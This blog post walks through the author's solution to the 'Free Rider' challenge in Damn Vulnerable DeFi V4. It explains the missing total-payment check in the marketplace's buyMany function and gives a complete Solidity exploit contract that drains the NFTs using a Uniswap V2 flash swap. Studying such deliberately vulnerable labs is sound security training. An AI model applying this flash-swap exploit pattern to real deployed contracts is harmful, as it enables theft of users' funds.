Challenge 10: Free rider, Damn vulnerable defi V4 lazy solutions series
Why Lazy?
I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.
Problem statement:
We’re given 1 NFT market place, which has some severe vulnerability reported. so to rescue all the tokens and all funds, they’ve deployed dedicated smart contract for recovery process.
The Smart Contracts
FreeRiderNFTMarketplace
FreeRiderNFTMarketplace is a NFT marketplace which offers functionality of offering and buying NFT, also can be done in bulk using offerMany
and buyMany
.
FreeRiderRecoveryManager
FreeRiderRecoveryManager is a dedicated smart contract deployed to give bounty to user who recovers all NFTs from FreeRiderNFTMarketplace. It works in a way that once any user recover all NFTs and then all NFTs have to transfer to FreeRiderRecoveryManager contract then it’ll transfer 45 ETH bounty to address after some basic checks. Which address to transfer bounty is derived as per passed data in bytes in parameters. so we’ll have to take care while passing appropriate data which will decoded as intended address.
Also we’ve given,
uniswapV2Pair
uniswapV2Pair contract is liquidity pool of DVT tokens and weth. which will be helpful to us for some funds to execute transactions.
The Vulnerability
The vulnerability in the FreeRiderNFTMarketplace smart contract relies on buyMany
function. buyMany
is used to buy NFTs in bulk which internally use buy
function which has implementation of buying a single NFT. If you see buyMany
closely then you’ll found out there are no checks of msg.value
with collective paying price of NFTs. It just calls buy
function which checks msg.value
with price of that particular nft.
So, it means we can buy as many as NFTs by paying a price of NFT which is costliest one.
With this bad approach, let’s consider we want to buy 3 NFTs of id 1, 5 and 8 which has corresponding price 2, 5 and 4 ETH. we can simply buy all of 3 by paying just 5 ETH. It’s self explanatory and doesn’t need any diagram to understand but still I am bored so I drew one.
Pseudo code is from contract itself.
Also in our case, every NFT has same price so we can buy all NFTs by paying only 1 NFT price which is 15 ETH.
The Attack Strategy
We are going to attack at vulnerable part by calling buyMany
function with all NFT ids. but here problem is, even single NFT costs 15 ETH but we have only 0.1 ETH.
So, we’ve to borrow some ETH from somewhere and then we’ll attack NFTs, will transfer to RecoveryContract to gain Bounty of 45 ETH, from which we will return borrowed amount. that’s it.
From where we should borrow?
Flashloan?
but we don’t have any Flashloan provider.
Flashswap?
Yessss!!!
We do have uniswapV2Pair contract which facilitates flashswap(swap). Interestingly every swap we do on uniswap is flashswap. but to activate flash nature, we’ve to pass extra byte in the last param, which stats that this swap is flashswap.
So, we’ll take 15 ETH from uniswapV2Pair first —> spent it to buy all NFTs —> Transfer NFTs to RecoverContract and get paid 45 ETH bounty —> Repay borrowed 15 ETH to uniswapV2Pair in uniswapV2Call
callback function.
If you don’t know what’s flashswap then please read https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps
Solution
test/free-rider/FreeRiderExploiter.sol
pragma solidity =0.8.25;
import {WETH} from "solmate/tokens/WETH.sol";
import {IUniswapV2Pair} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {FreeRiderNFTMarketplace} from "../../src/free-rider/FreeRiderNFTMarketplace.sol";
import {FreeRiderRecoveryManager} from "../../src/free-rider/FreeRiderRecoveryManager.sol";
import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {Test, console} from "forge-std/Test.sol";
// contract FreeRiderExploiter is IUniswapV2Callee, IERC721Receiver{
contract FreeRiderExploiter is IERC721Receiver{
WETH weth;
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
DamnValuableNFT nft;
FreeRiderRecoveryManager recoveryManager;
address owner;
// The NFT marketplace has 6 tokens, at 15 ETH each
uint256 constant NFT_PRICE = 15 ether;
uint256 constant AMOUNT_OF_NFTS = 6;
constructor(
WETH _weth,
IUniswapV2Pair _uniswapPair,
FreeRiderNFTMarketplace _marketplace,
DamnValuableNFT _nft,
FreeRiderRecoveryManager _recoveryManager
) payable {
weth = _weth;
uniswapPair = _uniswapPair;
marketplace = _marketplace;
nft = _nft;
recoveryManager = _recoveryManager;
owner = msg.sender;
}
function attack() public {
uniswapPair.swap(NFT_PRICE, 0, address(this), new bytes(1));
payable(owner).transfer(address(this).balance);
}
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
uint256[] memory ids = new uint256[](AMOUNT_OF_NFTS);
for (uint i = 0; i < ids.length; ++i) {
ids[i] = i;
}
weth.withdraw(weth.balanceOf(address(this)));
marketplace.buyMany{value: NFT_PRICE}(ids);
for (uint i = 0; i < ids.length; i++) {
nft.safeTransferFrom(address(this),address(recoveryManager), i, abi.encodePacked(bytes32(uint256(uint160(owner)))));
}
uint amountRequired = amount0 + 1 ether;
weth.deposit{value: amountRequired}();
assert(weth.transfer(msg.sender, amountRequired)); // return WETH to V2 pair
}
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory _data
) external returns (bytes4) {
return this.onERC721Received.selector;
}
receive() external payable {}
}
Code here is very basic, importance is it’s flow.
Also note that,
- how we are triggering flash swap by providing
new bytes(1)
(extra byte) in last parameter. you can go through official code of swap function to understand it better.
- how we are providing bytes which will be decoded as bounty receiver address. while transferring NFTs to Recovery manager contract.
//Encoding (owner address --> bytes32)
bytes memory _data = abi.encodePacked(bytes32(uint256(uint160(owner))))
//Decoding (bytes32 --> address)
address recipient = abi.decode(_data, (address));
test/free-rider/FreeRider.t.sol
/**
* CODE YOUR SOLUTION HERE
*/
function test_freeRider() public checkSolvedByPlayer {
FreeRiderExploiter exploiter = new FreeRiderExploiter{value:PLAYER_INITIAL_ETH_BALANCE}(
weth,
uniswapPair,
marketplace,
nft,
recoveryManager
);
exploiter.attack();
}
Let's see it in action,
forge test --mp test/free-rider/FreeRider.t.sol
Succeed!🔥💸
Incase if you need all solutions,
https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions
Subscribe to my newsletter
Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Siddharth Patel
Siddharth Patel
I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.